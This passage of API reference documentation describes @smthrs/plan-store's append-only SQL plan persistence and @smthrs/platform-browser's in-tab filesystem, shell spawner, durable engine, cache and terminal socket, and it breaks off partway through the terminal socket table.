> **Related APIs:** [`@smthrs/database`](/docs/reference/api/database/) · [`@smthrs/keys`](/docs/reference/api/keys/) · [`@smthrs/plan`](/docs/reference/api/plan/)

`@smthrs/plan-store` exports two modules from its root entry point, and each is
also importable from `@smthrs/plan-store/<Module>`:

```ts
import { Migrations, PlanStore } from "@smthrs/plan-store"
// or
import * as PlanStore from "@smthrs/plan-store/PlanStore"
```

`@smthrs/plan-store/internal/*` and `@smthrs/plan-store/*/index` are not public.
`@smthrs/plan-store/package.json` is exported.

| Namespace    | What it is                                                                       |
| ------------ | -------------------------------------------------------------------------------- |
| `PlanStore`  | Append-only SQL persistence, enforced by triggers rather than by convention.     |
| `Migrations` | The namespaced migration set that owns the three plan tables in id block `4000`. |

The shortest composition that records a compiled plan:

```ts
import * as NodeCrypto from "@effect/platform-node/NodeCrypto"
import * as TestDatabase from "@smthrs/database/test/TestDatabase"
import * as Migrations from "@smthrs/plan-store/Migrations"
import * as PlanStore from "@smthrs/plan-store/PlanStore"
import * as Plan from "@smthrs/plan/Plan"
import * as Effect from "effect/Effect"
import * as Layer from "effect/Layer"

const layer = PlanStore.layer.pipe(
  Layer.provideMerge(Migrations.layer.pipe(Layer.provideMerge(TestDatabase.layer))),
  Layer.provideMerge(NodeCrypto.layer)
)

const program = Effect.gen(function*() {
  const plan = yield* Plan.compile({
    planId: "review-4821",
    flow: "example/Review",
    nodes: [
      {
        id: "read-pr",
        material: {
          version: "flows/key-material/v2",
          kind: "sealed",
          body: { action: "read-pr", pr: 4821 },
          inputs: [],
          layers: [],
          capabilities: ["net:get"]
        },
        effects: { reads: [], writes: ["pr.json"], boundaryMode: "hard" }
      }
    ]
  })

  const store = yield* PlanStore.PlanStore
  return yield* store.record(plan, Date.now())
}).pipe(Effect.provide(layer))
```

Recording needs `PlanStore.layer` over a `DurableWriter`, a `SqlClient`, and
Effect's `Crypto` service. The package depends on
[`@smthrs/plan`](/docs/reference/api/plan/), [`@smthrs/database`](/docs/reference/api/database/) and
[`@smthrs/keys`](/docs/reference/api/keys/), names no database driver, and is browser-safe.
Compiling a plan without persisting one needs none of those services.

## Entry point

| Import               | Source                                                                                                           | Platform         |
| -------------------- | ---------------------------------------------------------------------------------------------------------------- | ---------------- |
| `@smthrs/plan-store` | [src/index.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/plan-store/src/index.ts) | Node and browser |

## PlanStore

[src/PlanStore.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/plan-store/src/PlanStore.ts)

`record` is first-writer-wins: an identical re-record is not an error, and a different plan under the same id is a `Conflict` carrying the stored digest rather than a silent overwrite. It accepts generation 0 only, whose `baseDigest` equals its `digest` and every one of whose nodes is at generation 0. `get` returns the verified immutable plan with nodes in recorded order. Admission and reads recompute keys, approval digests, topology, effect ordering and generation relationships. A forged incoming plan fails with `invalid_plan` before writes; corrupt stored content fails with `decode_failed`, including on duplicate admission. Envelope and nodes are read in one SQL statement to avoid mixed generations during concurrent appends. Dependencies come from each verified node's `dependsOn`; `flows_plan_edges` is a derived, unverified index that `get` never reads, so a forged edge row cannot change the returned graph.

`append` advances the plan row with a compare-and-swap on the previous generation, the flow, the approved base digest, and the approval digest of the append's already-verified prefix, and it refuses an append that adds no nodes. Matching the prefix digest proves the recorded prefix is the caller's without re-reading the stored rows. The refusal matters because of the append-only triggers: without it the node rows would land while the plan-row update matched nothing or skipped a generation, leaving rows whose dependencies are missing and that nothing is allowed to delete. The whole append is one transaction, so the refusal takes the rows back with it. New ordinals continue the recorded prefix, whose length the matched digest proves equal to the caller's prefix.

Every failure is a `PlanStoreError` whose `code` is one of `invalid_plan`, `constraint`, `decode_failed`, or `persistence_failed`.

### PlanStore.Service

```ts
interface Service {
  /** Records generation 0 of a plan. */
  readonly record: (plan: Plan.Plan, createdAtMs: number) => Effect.Effect<RecordResult, PlanStoreError>
  /** Appends the newest generation's nodes and edges and advances the digest. */
  readonly append: (plan: Plan.Plan) => Effect.Effect<void, PlanStoreError>
  /** Reads the whole plan back, nodes in recorded order. */
  readonly get: (planId: string) => Effect.Effect<Option.Option<Plan.Plan>, PlanStoreError>
}
```

`createdAtMs` comes from the caller's clock. Constructing the store requires `Crypto.Crypto` alongside SQL and the durable writer; individual operations use that captured implementation.

### PlanStore.RecordResult

```ts
type RecordResult =
  | { readonly _tag: "Recorded" }
  | { readonly _tag: "ExistingSame" }
  | { readonly _tag: "Conflict"; readonly digest: string }
```

`Conflict.digest` is the digest already stored under that plan id. Nothing was written.

### PlanStore.PlanStore

```ts
class PlanStore extends Context.Service<PlanStore, Service>()("@smthrs/plan-store/PlanStore") {}
```

The service tag.

### PlanStore.make

```ts
const make: Effect.Effect<Service, never, DurableWriter | SqlClient.SqlClient | Crypto.Crypto>
```

Builds the SQL-backed store.

### PlanStore.layer

```ts
const layer: Layer.Layer<PlanStore, never, DurableWriter | SqlClient.SqlClient | Crypto.Crypto>
```

Provides `make`.

### PlanStore.PlanStoreError

```ts
class PlanStoreError extends Schema.TaggedError<PlanStoreError>()("@smthrs/plan-store/PlanStoreError", {
  code: typeof PlanStoreErrorCode
  message: Schema.String
  cause: Schema.optional<Schema.Unknown>
})
```

| `code`               | Meaning                                                                                   |
| -------------------- | ----------------------------------------------------------------------------------------- |
| `invalid_plan`       | the plan does not satisfy what the operation requires, or a node is not encodable         |
| `constraint`         | the compare-and-swap matched nothing, the persisted prefix diverged, or SQL refused a row |
| `decode_failed`      | a stored row did not decode                                                               |
| `persistence_failed` | the SQL layer failed for a reason that is not a constraint violation                      |

`PlanStoreErrorCode` is exported as both a schema and a type.

## Migrations

[src/Migrations.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/plan-store/src/Migrations.ts)

The namespaced set owns `flows_plans`, `flows_plan_nodes`, and `flows_plan_edges`
in id block `4000`, after journal (`0`), run store (`1000`), step cache (`2000`),
and engine store (`3000`). [`@smthrs/engine-store`](/docs/reference/api/engine-store/)'s
`Migrations.sets` composes all five. The database loader handles forward
additions to already installed lower blocks before the ordinary migration pass;
earlier holes and entirely new lower blocks are refused rather than skipped.

The ordered steps live under `src/internal/migrations`, which the export map blocks, so `set` is the only way to reach them; a step imported on its own would run outside the namespaced ordering that migrator relies on.

### Migrations.set

```ts
const set: DatabaseMigrations.MigrationSet // namespace "plan", idOffset 4000
```

The namespaced migration set, for composition with the other storage packages.

### Migrations.run and Migrations.layer

```ts
const run: Effect.Effect<void, ..., SqlClient.SqlClient>
const layer: Layer.Layer<never, ..., SqlClient.SqlClient>
```

`run` creates the plan schema. `layer` runs the migrations before exposing the database to the plan store, which is what a standalone composition uses.

### The migrations

Append-only is enforced in SQL rather than by convention.

| Step                         | What it does                                                                                                                                                                    |
| ---------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `0001_initial`               | Creates the three tables, the `flows_plan_nodes_order` index, and triggers that raise on any UPDATE or DELETE of a node or edge row and on any backward move of a plan row.     |
| `0002_append_only_hardening` | Forbids deleting a plan row, extends the forward-only trigger to pin `flow` and `created_at_ms`, and makes `(plan_id, ordinal)` unique so recorded node order is deterministic. |
| `0003_forward_only_identity` | Recreates the forward-only trigger with `plan_id` pinned, so a forward UPDATE cannot rename a plan and strand its immortal node and edge rows under the old id.                 |

---

# @smthrs/platform-browser
https://smithers.sh/docs/reference/api/platform-browser/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/platform-browser/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-browser/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/platform-browser/docs)

> **Related APIs:** [`@smthrs/artifacts`](/docs/reference/api/artifacts/) · [`@smthrs/crypto`](/docs/reference/api/crypto/) · [`@smthrs/engine-store`](/docs/reference/api/engine-store/) · [`@smthrs/flow`](/docs/reference/api/flow/) · [`@smthrs/flows`](/docs/reference/api/flows/) · [`@smthrs/jj`](/docs/reference/api/jj/) · [`@smthrs/journal`](/docs/reference/api/journal/) · [`@smthrs/kernel`](/docs/reference/api/kernel/) · [`@smthrs/plan`](/docs/reference/api/plan/) · [`@smthrs/run-store`](/docs/reference/api/run-store/) · [`@smthrs/sandbox`](/docs/reference/api/sandbox/) · [`@smthrs/std`](/docs/reference/api/std/)

```ts
import { BrowserServices } from "@smthrs/platform-browser"
import * as Effect from "effect/Effect"
import { ChildProcess } from "effect/process"

const makeProgram = (options: Parameters<typeof BrowserServices.layer>[0]) =>
  Effect.scoped(ChildProcess.make`ls -la`).pipe(
    Effect.provide(BrowserServices.layer(options))
  )
```

Both backends are arguments, not imports: neither `@zenfs/core` nor `just-bash`
is a dependency here. The page owns which ZenFS backend is mounted (IndexedDB,
OPFS, memory) and which just-bash instance is wired to it, and the signature
says so. The package's own dependencies are `effect`, `@smthrs/kernel`, whose
`CommandLine.render` produces the line the interpreter runs and whose
`withIsolatedFileSystem` marks the mounted volume as confined, `@smthrs/jj`,
whose wasm-backed `Jj` service the `BrowserHost` bundle composes, `@smthrs/std`,
whose `LanguageServer` the language server binds (TypeScript itself is an
argument), and, for the durable engine, `@smthrs/flows` with the engine packages it composes and
`@journeyapps/wa-sqlite`.

:::danger
The filesystem behind `fs` and the one behind `bash` must be the _same_
filesystem, or the spawner and the `FileSystem` service will disagree about what
exists.
:::

## Entry points

| Import                                                | Source                                                                                                                                                                       | Platform |
| ----------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------- |
| `@smthrs/platform-browser`                            | [src/index.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-browser/src/index.ts)                                                       | any      |
| `@smthrs/platform-browser/BrowserFileSystem`          | [src/BrowserFileSystem/index.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-browser/src/BrowserFileSystem/index.ts)                   | any      |
| `@smthrs/platform-browser/BrowserChildProcessSpawner` | [src/BrowserChildProcessSpawner/index.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-browser/src/BrowserChildProcessSpawner/index.ts) | any      |
| `@smthrs/platform-browser/BrowserServices`            | [src/BrowserServices.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-browser/src/BrowserServices.ts)                                   | any      |
| `@smthrs/platform-browser/BrowserHost`                | [src/BrowserHost.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-browser/src/BrowserHost.ts)                                           | any      |

Every module bundles for a browser, `BrowserHost` included: nothing this
package publishes resolves a `node:` built-in.

## The layers are functions

`NodeServices.layer` is a value; `BrowserServices.layer` is a function of
`{ bash, fs }`. That is not an ergonomic accident. A tab owns which ZenFS
backend is mounted and when, and the just-bash instance must be wired to the
_same_ filesystem: otherwise the spawner and the `FileSystem` service disagree
about what exists, and a command writes into a filesystem no reader can see. The
signature makes the pairing the caller's explicit decision.

Because the slices are structural, Node's own `node:fs/promises` satisfies
`ZenFsPromisesLike`, so a test can exercise the adapter against a real directory
rather than a double. See [Testing](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-browser/docs/testing.md).

`BrowserFileSystem.layer` carries one further claim. The service it provides is
marked, for [`@smthrs/kernel`](/docs/reference/api/kernel/), as a volume that cannot address any
path outside itself, which is what lets the guarded surface resolve paths
directly rather than through descriptor-relative operations. A mounted ZenFS
volume satisfies that only when its workspace occupies the whole mount, so the
layer's `workspaceRoot` option must be `/`, and any other root fails the layer
with `PermissionDenied`. [The isolation attestation](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-browser/docs/concepts/isolation-attestation.md)
explains why. A host-backed `node:fs/promises` does not satisfy it, so passing
one is a test-time convenience for a process that is itself the sandbox, never a
production composition. `BrowserFileSystem.make` builds the same service without
the claim.

## What the filesystem serves

`BrowserFileSystem.make` wires up `readFile`, `readFileString`, `writeFile`,
`writeFileString`, `stream`, `makeDirectory`, `readDirectory`, `stat`,
`realPath`, `remove`, `access`, and `exists`, and delegates `rename` and
`utimes` to the backend when it supplies them. Everything else keeps a typed
`PermissionDenied` failure naming the unsupported operation. That is the honest
answer for a backend with no symlink creation, writable handles, or watchers:
`chmod`, `chown`, `copy`, `copyFile`, `glob`, `link`, `symlink`, `readLink`,
`open`, `sink`, `truncate`, `watch`, and the `makeTemp*` family fail rather than
pretend to have succeeded. `sink` is in that list because the slice has no
writable file handle to append through, so its incremental contract cannot be
honoured. `rename` and `utimes` refuse the same way on a backend without them,
and artifact publication needs both.
[Read and write files on a mounted volume](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-browser/docs/guides/work-with-files.md#what-fails-and-how)
gives the served operation to reach for in place of each one.

The operations that are served honour their options rather than dropping them.

| Option                                       | Behaviour                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| -------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `readDirectory({ recursive })`               | walked here, because the slice has no recursive `readdir`; entries come back as `parent/child` the way Node reports them, and a symlinked directory is listed but not descended into when the backend can `lstat`. A backend supplying neither `lstat` nor `realpath` follows a directory link forever, so that walk alone is capped at 128 levels and refuses a deeper tree; a backend with either member is walked to whatever depth the tree has |
| `access({ readable, writable })`             | answered from the reported `mode` bits, since a mounted volume has no user identity to check against; a path that exists without the requested permission fails `PermissionDenied`                                                                                                                                                                                                                                                                  |
| `access({ ok })`                             | the existence check a bare `access` already performs                                                                                                                                                                                                                                                                                                                                                                                                |
| `makeDirectory({ mode })`                    | forwarded, so a directory asked for as `0o700` is not created `0o755`                                                                                                                                                                                                                                                                                                                                                                               |
| `realPath`                                   | canonicalized through the backend's own `realpath`, so a `..` after a link names the parent of the link's target; a backend without `realpath` fails `PermissionDenied` rather than falling back to lexical normalization                                                                                                                                                                                                                           |
| `writeFile({ flag, mode })`                  | forwarded, so `{ flag: "a" }` appends instead of silently truncating and `{ flag: "wx" }` fails `AlreadyExists`                                                                                                                                                                                                                                                                                                                                     |
| `exists`                                     | `false` only for a path that is absent; every other backend failure propagates, so a refusal to look is not reported as absence                                                                                                                                                                                                                                                                                                                     |
| `stream({ offset, bytesToRead, chunkSize })` | honoured, and refused when they are not whole byte counts                                                                                                                                                                                                                                                                                                                                                                                           |

Bytes and names cross the backend boundary by value. `writeFile` copies
`data` and reads `flag` and `mode` when it is called, so the effect it returns
describes one write however the caller's buffer or options change before it
runs or between retries, and however long the backend holds the bytes it was
handed. `readFile` and `readDirectory` return a buffer and an array the caller
owns: writing into them does not reach a backend that answers from its own
storage, and a later change in that storage does not reach a result already
returned. `stream` chunks are fresh allocations for the same reason, and
`writeFileString` encodes at run time because a string cannot change under the
caller.

A tab has no working directory, so a relative path handed to `realPath` resolves
against the volume root rather than against an ambient `process.cwd()` that does
not exist. The same caveat applies to a relative `cwd` on a spawned command:
pass an absolute virtual path.

## Backend errors

A thrown backend error is mapped onto the `PlatformError` tag that carries its
meaning, with the original error kept as the `cause`:

| Backend code                 | Tag                |
| ---------------------------- | ------------------ |
| `ENOENT`                     | `NotFound`         |
| `EEXIST`                     | `AlreadyExists`    |
| `EACCES`, `EPERM`            | `PermissionDenied` |
| `EISDIR`, `ENOTDIR`, `ELOOP` | `BadResource`      |
| `EBUSY`                      | `Busy`             |
| anything else                | `Unknown`          |

A backend that answers with an impossible value is refused rather than
trusted. `stat` fails `BadResource` when the reported size is not a whole,
non-negative number of bytes, and reports no `mtime` when the timestamp is not
a finite number. `stream` fails `BadResource` when a read reports more bytes
than the buffer it was handed, or a negative or fractional count.

## Encoding and size policy

`readFileString` and `writeFileString` are UTF-8 by default, through the
standard `TextDecoder` and `TextEncoder`; an explicit encoding argument is
passed to `TextDecoder`, and one it does not know fails as `BadArgument`.
Invalid byte sequences decode to the replacement character, which is
`TextDecoder`'s non-fatal default, and paths are used exactly as given with no
Unicode normalization.

`stream` allocates one buffer per chunk: 64 KiB by default, and at most 64 MiB
when a caller names a size. Captured interpreter output is _not_ bounded. The
adapter holds the complete `stdout` and `stderr` strings the interpreter
returns and re-encodes them to bytes, so a command that prints a large amount of
text holds it twice in the tab's single heap. Bound the command, not the
adapter.

## ChildProcessSpawner divergences

just-bash is a buffered, run-to-completion API with no process table. The
spawner is built from `ChildProcessSpawner.make(spawn)`, so `exitCode`,
`string`, `lines`, `streamString`, and `streamLines` are all derived from the
one `spawn`, and all inherit the same divergences, each documented on the
module and covered by a test:

| Feature                        | Behaviour                                                                                                                                                                                                             |
| ------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Streaming output               | buffered; `stdout` and `stderr` each emit at most one chunk after the command finishes                                                                                                                                |
| `all`                          | `stdout` followed by `stderr`, not a live interleaving, and it inherits both stream options, so an ignored `stdout` leaves `all` carrying `stderr` alone                                                              |
| `isRunning`                    | `true` while the run is queued or executing, `false` once it has settled                                                                                                                                              |
| `stdin`                        | a failing `Sink`; a command supplying a stdin `Stream` is rejected at spawn time. just-bash itself accepts a string `stdin`, so the limit is this adapter's run-to-completion capture, not the interpreter            |
| Interruption, timeouts, `kill` | abort the interpreter through just-bash's `AbortSignal`; every observable on the handle then reports a `PlatformError` naming the abort rather than replaying the interrupt into the caller's fiber                   |
| `killSignal`                   | ignored: there is no process to signal in a tab                                                                                                                                                                       |
| `forceKillAfter`               | rejected on both routes it can arrive by, the command and `kill(options)`, because Effect's `CommandOptions` extends `KillOptions`; there is no harder stop after the abort                                           |
| Concurrency                    | one run at a time, behind a permit held until the interpreter promise settles, abort included, so two interpreters never mutate the mount at once                                                                     |
| `pid`                          | a per-layer counter, not an OS pid; `unref` is a no-op                                                                                                                                                                |
| Process pipelines              | a `PipedCommand` is rejected; express the pipeline as one command line                                                                                                                                                |
| `additionalFds`                | a nonempty configuration is rejected at spawn time with `BadArgument`; just-bash cannot configure extra file descriptors                                                                                              |
| `getInputFd` / `getOutputFd`   | `Sink.drain` / `Stream.empty` for an unconfigured descriptor, matching `NodeChildProcessSpawner`                                                                                                                      |
| `extendEnv`                    | honoured as a request to the interpreter: just-bash merges `env` into its own environment unless asked for `replaceEnv`, so the adapter asks for replacement whenever `env` is supplied and `extendEnv` is not `true` |
| `stdout`/`stderr` options      | kept at their Node meaning: `"inherit"` and `"ignore"` yield an empty stream, a `Sink` is transduced through, even though the interpreter captured the text either way                                                |

Because the permit outlives the promise, an interpreter that ignores its
`AbortSignal` and never settles blocks every later run rather than being
abandoned with the mount half-written. `JustBashLike.exec` states that
requirement: the returned promise must settle once the signal aborts.

A `StandardCommand` is rendered to a command line before it reaches the
interpreter. Without `shell`, the command and its arguments are POSIX
single-quoted so a spawn keeps argv semantics; with `shell`, they are joined
verbatim, mirroring how Node hands `sh -c` an unquoted line. `cwd` is validated
through the `FileSystem` service, which refuses a path that is not a directory,
and resolved through `Path` before anything runs, which is why the layer
requires both.

## The durable engine

Six modules host the durable flow engine in a browser.
[Run durable flows in a browser tab](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-browser/docs/guides/run-flows-in-a-tab.md) walks
through them, and [The durable browser engine](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-browser/docs/concepts/durable-browser-engine.md)
explains the design. The three platform services are injected, so a test
provides faulty ones and an app can share one instance.

| Export                                                                                                            | Side   | What it is                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| ----------------------------------------------------------------------------------------------------------------- | ------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `BrowserEngine.layer({ name, worker })`                                                                           | tab    | Starts the tab's engine worker, asks for persistent storage, and provides `BrowserEngine` over the browser's own channel and storage.                                                                                                                                                                                                                                                                                                                                                |
| `BrowserEngine.make(options)`                                                                                     | tab    | The same service, requiring `TabChannel` and `StoragePersistence` and a `Scope`.                                                                                                                                                                                                                                                                                                                                                                                                     |
| `BrowserEngine.BrowserEngine`                                                                                     | tab    | The service: `start`, `result`, `cancel`, `signal`, `events`, and `unavailable`, which completes with an `EngineUnavailable` once the tab's worker failed; and the run reads `inspect(runId, { afterSeq?, limit? })` and `list({ limit?, cursor?, roots? })`, answered by the leader's `RunInspection` (`@smthrs/engine-store`), redacted and cut to 16 KiB.                                                                                                                         |
| `BrowserEngine.RequestRefused`                                                                                    | tab    | The leader refused a request; `request` names it and `error` is the failure's tag.                                                                                                                                                                                                                                                                                                                                                                                                   |
| `BrowserEngine.Inspection`, `RunList`                                                                             | tab    | A run read and a page of runs as schemas, the shapes `inspect` and `list` answer: a tab decodes a run it reads from elsewhere, such as a server inspecting its own engine, with them, without loading `@smthrs/engine-store`.                                                                                                                                                                                                                                                        |
| `BrowserEngine.EngineUnavailable`                                                                                 | tab    | The tab's own worker failed: `reason` is `worker-failed` (it threw, as at load) or `engine-failed` (no engine could be built); `error` is a tag. Pending requests fail; later requests recover when a new leader announces itself.                                                                                                                                                                                                                                                   |
| `BrowserEngine.RunEvent`, `WorkerLike`, `Options`                                                                 | tab    | An engine event's execution id and type; the slice of `Worker` the tab uses; the layer's options.                                                                                                                                                                                                                                                                                                                                                                                    |
| `BrowserEngine.FlowReference`                                                                                     | tab    | What the service's calls take of a flow: its `_tag` and its payload, success and error schemas. A whole flow is one.                                                                                                                                                                                                                                                                                                                                                                 |
| `BrowserEngine.requests`, `persistence`, `unavailable`                                                            | tab    | Counters: requests by `request` and `outcome`; storage answers by `outcome`; failed workers by `reason`.                                                                                                                                                                                                                                                                                                                                                                             |
| `BrowserRuntime.run(options)`                                                                                     | worker | The worker entry: `serve` over `layerHost` with the browser's own lock and channel, and `options.telemetry`, if given, as where its records go. With `options.prepare`, the leader runs it on the app's database as `device/prepare` before serving any tab (`BrowserRuntime.Prepare`). With `options.authorize`, the worker checks the app's database before it builds the engine, on every activation; a failure stops the engine (`BrowserRuntime.Authorize`). Returns the fiber. |
| `BrowserRuntime.serve(options, engine)`                                                                           | worker | Waits for the lock, builds `engine`, wakes unfinished runs, announces itself, answers requests and runs tabs' statements. Stops leading if its lock is stolen.                                                                                                                                                                                                                                                                                                                       |
| `BrowserRuntime.layerHost({ name, sqlite }, registerFlows)`                                                       | worker | `layer` over `BrowserSqlite.layer`: `engine.db` on a pool in the OPFS directory `smithers/<name>`, and the shared `app.db` beside it on a connection of its own.                                                                                                                                                                                                                                                                                                                     |
| `BrowserRuntime.layer(options, registerFlows)`                                                                    | worker | `@smthrs/flows`' `Runtime.layer` over an injected `SqlClient`, with the run catalog, the run reads (`RunInspection`, rendering through `options.flows` when given) and the engine host: WebCrypto, the owner identity, `Path`, fetch, a refusing `Jj`, and `RunInspection` for registered flows.                                                                                                                                                                                     |
| `BrowserRuntime.Services`, `Host`, `Options`, `HostOptions`, `ServeOptions`, `RunOptions`, `Prepare`, `Authorize` | worker | The types the functions above take and provide. `Prepare` is `{ epoch, success, run }`: what the leader runs on the app's database before serving it. `Authorize` is `(database) => Effect<void, unknown>`: the activation check.                                                                                                                                                                                                                                                    |
| `BrowserRuntime.leaderships`, `wakes`, `preparations`, `requests`, `statements`                                   | worker | Counters: leaders; unfinished runs by `outcome`; preparations of the app's database by `outcome`; requests by `request` and `outcome`; shared-database statements by `outcome`.                                                                                                                                                                                                                                                                                                      |
| `BrowserSqlite.layerSqlite({ build, directory })`                                                                 | worker | The `Sqlite` service: the wa-sqlite `build`, loaded lazily, with the OPFS pool `directory` registered as its VFS, held until the scope closes.                                                                                                                                                                                                                                                                                                                                       |
| `BrowserSqlite.Build`, `Factory`                                                                                  | worker | The build as lazy imports: `module` imports `wa-sqlite.mjs`, `wasm` loads `wa-sqlite.wasm`. The package itself never imports the build.                                                                                                                                                                                                                                                                                                                                              |
| `BrowserSqlite.layer({ filename })`                                                                               | worker | A `SqlClient` over `filename`, opened on the `Sqlite` service's VFS until the scope closes.                                                                                                                                                                                                                                                                                                                                                                                          |
| `BrowserSqlite.Sqlite`, `open(filename)`, `make(database)`                                                        | worker | The build-and-VFS service an app can provide itself; open a database on it; build a `SqlClient` over any open wa-sqlite database.                                                                                                                                                                                                                                                                                                                                                    |
| `SharedSqlite.layer({ name })`, `make(options)`, `SharedSqlite`                                                   | tab    | `execute(sql, params)`: run statements on the app's shared database, on the leader's connection, one at a time per tab.                                                                                                                                                                                                                                                                                                                                                              |
| `SharedSqlite.open({ name, within? })`, `Database`, `filename`                                                    | tab    | The database as `{ execute, close }` Promises, for TanStack DB's browser persistence; resolves once a leader answers, rejects after `within` (30 s) otherwise.                                                                                                                                                                                                                                                                                                                       |
| `SharedSqlite.SqliteError`                                                                                        | tab    | What `Database.execute` rejects with: SQLite's own `message` and `code`, as wa-sqlite's `SQLiteError`, which TanStack DB reads; the `SqlError` is its `cause`.                                                                                                                                                                                                                                                                                                                       |
| `WebLock.WebLock`, `make(locks)`, `layer`                                                                         | both   | `hold(name, { steal? })`: wait for the exclusive lock, or take it at once with `steal`; hold it until the scope closes. `tryHold(name)`: take it only when no context holds it or waits for it, else none at once. `lost` completes if another context steals it.                                                                                                                                                                                                                    |
| `TabChannel.TabChannel`, `make(construct, { capacity })`, `layer`                                                 | both   | `open(name)`: a port that posts to every other port of the channel and subscribes to what they post. A subscription holds at most `capacity` untaken messages (`defaultCapacity`, 10,000); one that falls that far behind fails after them with `TabChannelOverflow`.                                                                                                                                                                                                                |
| `TabChannel.TabChannelOverflow`, `overflows`                                                                      | both   | The failure of a subscriber that fell its capacity behind, and the counter of them by `channel`; each is also logged as `browser.tab_channel.overflow`. A leader that falls behind stops leading and leads again; a tab's `SharedSqlite` fails every statement and its `BrowserEngine` becomes unavailable (`channel-overflow`) until it reloads.                                                                                                                                    |
| `StoragePersistence.StoragePersistence`, `make(storage)`, `layer`                                                 | tab    | `persist`: ask for persistent storage and answer whether the origin has it.                                                                                                                                                                                                                                                                                                                                                                                                          |

`BrowserSqlite` uses `@journeyapps/wa-sqlite`, the build TanStack DB's browser
persistence uses, so an app ships one SQLite. The leader's `layerHost` opens
the app's own database, `SharedSqlite.filename`, beside the engine's, and
`SharedSqlite.open` hands it to TanStack DB from any tab. To share one build and one VFS,
build `layerSqlite` once in the worker and provide it to `BrowserSqlite.layer`
for each store: every store opens its own file with its own connection, and
none runs statements inside another's transaction. `BrowserRuntime.layer`
then takes the engine's `SqlClient` from that composition instead of
`layerHost`.

`BrowserSqlite.make` needs the synchronous build. Its client reports
a write's `{ changes }` from `.raw`, which `@smthrs/database`'s
`DurableWriter.affectedRows` reads for compare-and-set; binds integers wider
than 32 bits as SQLite integers; runs one statement at a time; begins
transactions with `BEGIN IMMEDIATE`; and rolls back a failed COMMIT before
lending the connection again. It does not stream rows.

## The immutable cache

`BrowserCache.layer` provides `@smthrs/artifacts`' `ImmutableCache` over the
origin's Cache Storage, for content that never changes at its key, such as a
repository's file at a commit SHA. Cache Storage outlives the tab and the
browser, and a window, a dedicated worker and a service worker of the origin
reach the same named cache, so what one read fetched opens again offline.

```ts
const layer: (options?: Options) => Layer.Layer<ImmutableCache, ImmutableCacheError>

interface Options {
  readonly name?: string
  readonly maxEntryBytes?: number
  readonly caches?: CacheStorage
}

interface CacheStorage {
  readonly open: (name: string) => Promise<ImmutableCache.WebCache>
}
```

| Option          | Default                                                | Meaning                                                           |
| --------------- | ------------------------------------------------------ | ----------------------------------------------------------------- |
| `name`          | `BrowserCache.defaultName`, `smithers-immutable-cache` | The cache `caches.open` opens.                                    |
| `maxEntryBytes` | 8 MiB                                                  | The largest entry stored; a larger `put` answers `too_large`.     |
| `caches`        | the global `caches`                                    | The `CacheStorage` to use instead. Tests inject one that refuses. |

The layer's telemetry and errors are labelled `browser`. Without a `caches`
global, as in Node or an insecure context, or when `caches.open` rejects, the
layer fails with `ImmutableCacheError` and reason `unavailable`. A `put` over
the origin's quota fails with reason `failed` and `errorName`
`QuotaExceededError`; `ImmutableCache.readThrough` still answers the read. The
browser may clear the cache under storage pressure unless the origin has
persistent storage (`StoragePersistence`).

```ts
import { ImmutableCache } from "@smthrs/artifacts"
import { BrowserCache } from "@smthrs/platform-browser"

const tree = ImmutableCache.readThrough(
  ImmutableCache.key("repo.tree", repo, sha),
  fetchTree(repo, sha)
).pipe(Effect.provide(BrowserCache.layer()))
```

## The terminal socket

`TerminalSocket.connect` is the socket a page holds to a terminal on a host
that speaks `TerminalProtocol` from `@smthrs/sandbox`. It returns at once and
dials in a fiber the scope owns; closing the scope closes the socket and stops
redialing.

```ts
const connect: (
  url: string,
  options: {
    readonly onOutput: (bytes: Uint8Array) => void
    readonly reconnect?: RetryPolicy.RetryPolicy | undefined
  }
) => Effect.Effect<Connection, never, Scope.Scope | Socket.WebSocketConstructor>

const reconnect: RetryPolicy.RetryPolicy // 1 s doubling to 30 s, at most 11 dials

interface Connection {
  readonly send: (data: string | Uint8Array) => Effect.Effect<void>
  readonly resize: (cols: number, rows: number) => Effect.Effect<void>
  readonly status: Stream.Stream<Status>
}

type Status =
  | { readonly _tag: "Connecting" }
  | { readonly _tag: "Open"; readonly access: "write" | "read" }
  | { readonly _tag: "Offline"; readonly attempt: number; readonly code: number }
  | { readonly _tag: "Ended"; readonly reason: "closed" | "slept" | "lost" | "revoked" }
  | { readonly _tag: "Closed"; readonly code: number }

const layerWebSocket: Layer.Layer<Socket.WebSocketConstructor>
```

| Behaviour     | What the socket does                                                                                                                                                       |
| ------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Output        | Each binary frame reaches `onOutput` in order, as a fresh `Uint8Array` that spans its own buffer, whether it arrived as an `ArrayBuffer`, a `Blob` or a Node `Buffer`.     |
